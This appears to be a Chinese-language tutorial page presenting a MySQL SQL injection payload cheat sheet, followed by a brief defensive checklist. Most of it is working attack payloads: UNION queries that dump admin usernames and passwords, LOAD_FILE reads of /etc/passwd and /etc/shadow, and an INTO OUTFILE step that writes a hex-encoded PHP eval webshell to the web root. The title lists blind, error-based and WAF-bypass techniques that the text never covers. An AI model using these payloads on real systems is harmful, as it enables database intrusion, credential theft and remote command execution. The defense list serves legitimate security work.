首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL SQL 注入攻擊向量大全:聯注、盲注、報錯注、寫檔案、讀檔案、繞過 WAF

     編輯:MySQL 綜合教學

MySQL SQL 注入攻擊向量大全:聯注、盲注、報錯注、寫檔案、讀檔案、繞過 WAF

本文僅供**安全研究、滲透測試授權範圍、程式碼審計**參考,**嚴禁用於非授權系統攻擊**。理解攻擊向量才能建立有效防禦(參數化查詢、WAF 規則、最小權限、審計日誌)。

一、基礎探測與判斷

Payload目的解析
AND ORD(MID(VERSION(),1,1))>51判斷版本 ≥ 4.0(支援 UNION)ORD() 取 ASCII,MID() 截取,VERSION() 返回版本字串
UNION SELECT 1,1,1...探測欄位數遞增數字直到不報錯
ORDER BY 13探測欄位數(替代法)遞增直到報錯,前一數即欄位數
UNION SELECT 1,2,3... FROM admin驗證表名存在回顯位置判斷可注入欄位

二、聯合查詢注入(Union-based)

-- 爆資料庫版本
UNION SELECT 1,VERSION(),3... FROM admin

-- 爆當前庫/用戶
UNION SELECT 1,DATABASE(),3... FROM admin
UNION SELECT 1,USER(),3... FROM admin

-- 爆作業系統
UNION SELECT 1,@@GLOBAL.VERSION_COMPILE_OS,3... FROM mysql.user

-- 爆表名(MySQL 5+ information_schema)
UNION SELECT 1,TABLE_NAME,3... FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DB_HEX LIMIT 0,1

-- 爆欄位名
UNION SELECT 1,COLUMN_NAME,3... FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=TBL_HEX LIMIT 0,1

-- 爆資料
UNION SELECT 1,username,3,password... FROM admin LIMIT 0,1

-- 合併顯示(單欄位回顯兩值)
UNION SELECT 1,CONCAT(username,0x3c,password),3... FROM admin LIMIT 0,1

三、讀取檔案

-- 讀取文本檔(需 FILE 權限、secure_file_priv 允許)
LOAD_FILE(0x2F6574632F706173737764)  -- /etc/passwd
LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))

-- 替換特殊字符避免瀏覽器吞標籤
REPLACE(LOAD_FILE(...), CHAR(60), CHAR(32))  -- < → 空格

常見敏感路徑:

  • Linux:/etc/passwd、/etc/shadow、/usr/local/apache/conf/httpd.conf、/usr/local/nginx/conf/nginx.conf、/etc/my.cnf
  • Windows:C:\Windows\System32\inetsrv\MetaBase.xml、C:\boot.ini、C:\mysql\data\mysql\user.MYD
  • Java/Resin:/usr/local/resin/conf/resin.conf

四、寫入檔案(GetShell)

-- 前提:FILE 權限、知物理路徑、secure_file_priv 允許、GPC OFF
SELECT '' INTO OUTFILE '/var/www/html/shell.php'

-- Hex 編碼繞過引號過濾
SELECT 0x3C3F706870206576616C28245F504F53545B636D645D293F3E INTO OUTFILE '/var/www/html/shell.php'

五、繞過編碼衝突錯誤

錯誤:Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

解法:UNHEX(HEX(payload)) 包裹所有回顯欄位。

UNION SELECT 1,UNHEX(HEX(LOAD_FILE(0x...))),3,UNHEX(HEX(USER()))

六、防禦清單(開發者必讀)

  1. 參數化查詢 / Prepared Statement:徹底隔離代碼與資料。
  2. 最小權限:業務用戶**無 FILE、無 SUPER、無 CREATE USER** 權限。
  3. secure_file_priv:設定為安全目錄或 NULL 禁用 LOAD_FILE/INTO OUTFILE。
  4. 錯誤資訊不回顯:生產環境關閉詳細錯誤頁面,統一友好提示。
  5. WAF/IDS:部署 ModSecurity + OWASP CRS、或雲 WAF,攔截常見 Payload 特徵。
  6. 審計日誌:開啟 general_log 或审計插件,記錄所有 SQL 供事後溯源。
  7. 定期掃描:SQLMap、自研掃描器定期對上線應用進行授權掃描。

安全是系統工程,**參數化查詢是銀彈**,其餘皆為纏深度防禦層。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved